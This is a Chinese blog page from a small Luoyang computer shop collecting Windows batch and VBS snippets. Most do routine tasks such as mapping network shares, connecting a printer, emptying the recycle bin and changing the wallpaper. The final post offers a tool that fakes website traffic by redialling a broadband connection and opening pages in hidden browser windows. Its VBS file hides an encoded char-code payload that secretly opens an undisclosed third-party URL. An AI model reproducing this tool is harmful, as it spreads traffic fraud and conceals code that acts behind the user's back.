洛阳翼展电脑

批处理获取本机IP地址

2019-9-17 乱云飞 评论(0) 浏览(100) 标签: 批处理 获取IP 获取IP地址 本机IP

@echo off
@for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (@set IP=%%a)>NUL 2>NUL
@echo     本机IP地址是：%IP%

批处理连接局域网共享打印机

2019-9-3 乱云飞 评论(0) 浏览(117) 标签: 批处理 局域网共享 共享打印机

@color 0A
@mode con cols=50 lines=10
@title 连接局域网打印机 www.80c.cc
@echo.
@echo   洛阳翼展科技 / 专业安防监控 13213610060
@echo.
@echo   正在连接打印机。。。
@::-------------------------------------------------------- 
@set 打印机=\\80c.cc\print
@set 用户名=administrator
@set 密码=12345678 
@::--------------------------------------------------------
@net stop Spooler
@ping -n 10 127.0.0.1>NUL
@net start Spooler
@net use %打印机% %密码% /user:%用户名%
@start %打印机% /user:%用户名% %密码%
@rundll32 printui.dll,PrintUIEntry /y /n " %打印机%"
@ping -n 10 127.0.0.1>NUL
@::--------------------------------------------------------
@rem cmd /k
exit

批处理映射网络共享目录

2019-8-23 乱云飞 评论(0) 浏览(127) 标签: 批处理 映射 共享文件夹

@color 0A
@mode con cols=50 lines=10
@title 连接网络共享磁盘 www.80c.cc
@echo.
@echo           连接网络共享磁盘...
::--------------------------------------------------------
@set 服务器=\\80c.cc\测试目录
@set 注册表=##80c.cc#测试目录
@set 用户名=admin
@set 密码=*
@set 盘符=Z
@set 卷标=网络磁盘
@set 退出时间=10
::--------------------------------------------------------
@net use * /d /y >nul 2>nul
@net use %盘符%: %服务器% %密码% /user:%用户名% /persistent:yes
@label %盘符%: %卷标%>NUL
@reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\%注册表% /v _LabelFromReg /d %卷标% /f 
@start "打开%盘符%盘" "%盘符%:\"
@echo 请打开我的电脑%盘符%盘操作。
@ping -n %退出时间% 127.0.0.1>NUL
::--------------------------------------------------------
rem cmd /k
exit

批处理清空回收站

2019-8-4 乱云飞 评论(0) 浏览(139) 标签: 批处理 清空回收站

@echo off
setlocal enabledelayedexpansion
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
  if exist %%a:\$recycle.bin (
     pushd %%a:\$recycle.bin
     for /f %%b in ('dir /b /a') do (rd /s /q %%b)
  )
)
pause

更改桌面图标大小

2019-8-3 乱云飞 评论(0) 浏览(119) 标签: 批处理 桌面图标 图标大小

bat批处理判断系统位数

2019-8-3 乱云飞 评论(0) 浏览(135) 标签: 批处理 判断系统版本 系统位数 64位 32位

@echo off
rem 判断64位系统和32位系统
if /i %PROCESSOR_IDENTIFIER:~0,3%==x86 (
echo 32位操作系统
) else (
echo 64位操作系统
)
pause

更改计算机描述

2019-8-2 乱云飞 评论(0) 浏览(85) 标签: 批处理 注册表 更改计算机描述

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lanmanserver\Parameters" /v srvcomment /t reg_sz /d 描述文字 /f

两种方法更改桌面壁纸

2019-8-2 乱云飞 评论(0) 浏览(87) 标签: 批处理 更换桌面背景 桌面壁纸

@reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d %~dp0ez.bmp /f
@RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters

---------------------------------------------------------

cd /

cd %~dp0
copy ez.bmp C:\ez.bmp
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /V Wallpaper /D C:\ez.bmp /F
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
cmd /k

激活窗口，只写窗口标题前半部分就行

2019-8-2 乱云飞 评论(0) 浏览(108) 标签: 批处理 VBS 激活窗口

Set WshShell = CreateObject("WScript.Shell")
WshShell.AppActivate "任务管理"
WshShell.SendKeys "{Enter}"

百度里找到了一个很久以前写的批处理

2019-7-31 乱云飞 评论(0) 浏览(98) 标签: 批处理 刷网站流量 刷网站排名

以下红色部分代码保存为：shua.bat
===========================================
@ title 网站刷流量排名工具
@ echo ----------------------------------------------------------
@ echo 网站刷流量排名工具。如需帮助请联系 QQ 345794501
@ echo ----------------------------------------------------------
@ color 0A
@ echo off
@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------
@ set 连接名称=中国网通
@ set 宽带帐号=13213610060
@ set 宽带密码=123456
@ set 延迟时间=15
@ rem ---------- 以下部分不要修改 ----------
:start
@ Rasdial %连接名称% %宽带帐号% %宽带密码%
@ start shua.vbs
@ ping 127.0.0.1 -n %延迟时间%
@ Rasdial %连接名称% /disconnect
@ taskkill /f /im IEXPLORE.EXE
@ rem 循环
@ goto start
===========================================
以下黄色部分代码修改后保存为：shua.vbs
===========================================
Str = Array(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。联系QQ 345794501 //
objShell.Run "IEXPLORE.EXE http://80c.cc/vip/free.htm",0
objShell.Run "IEXPLORE.EXE http://80c.cc/ceshi.htm",0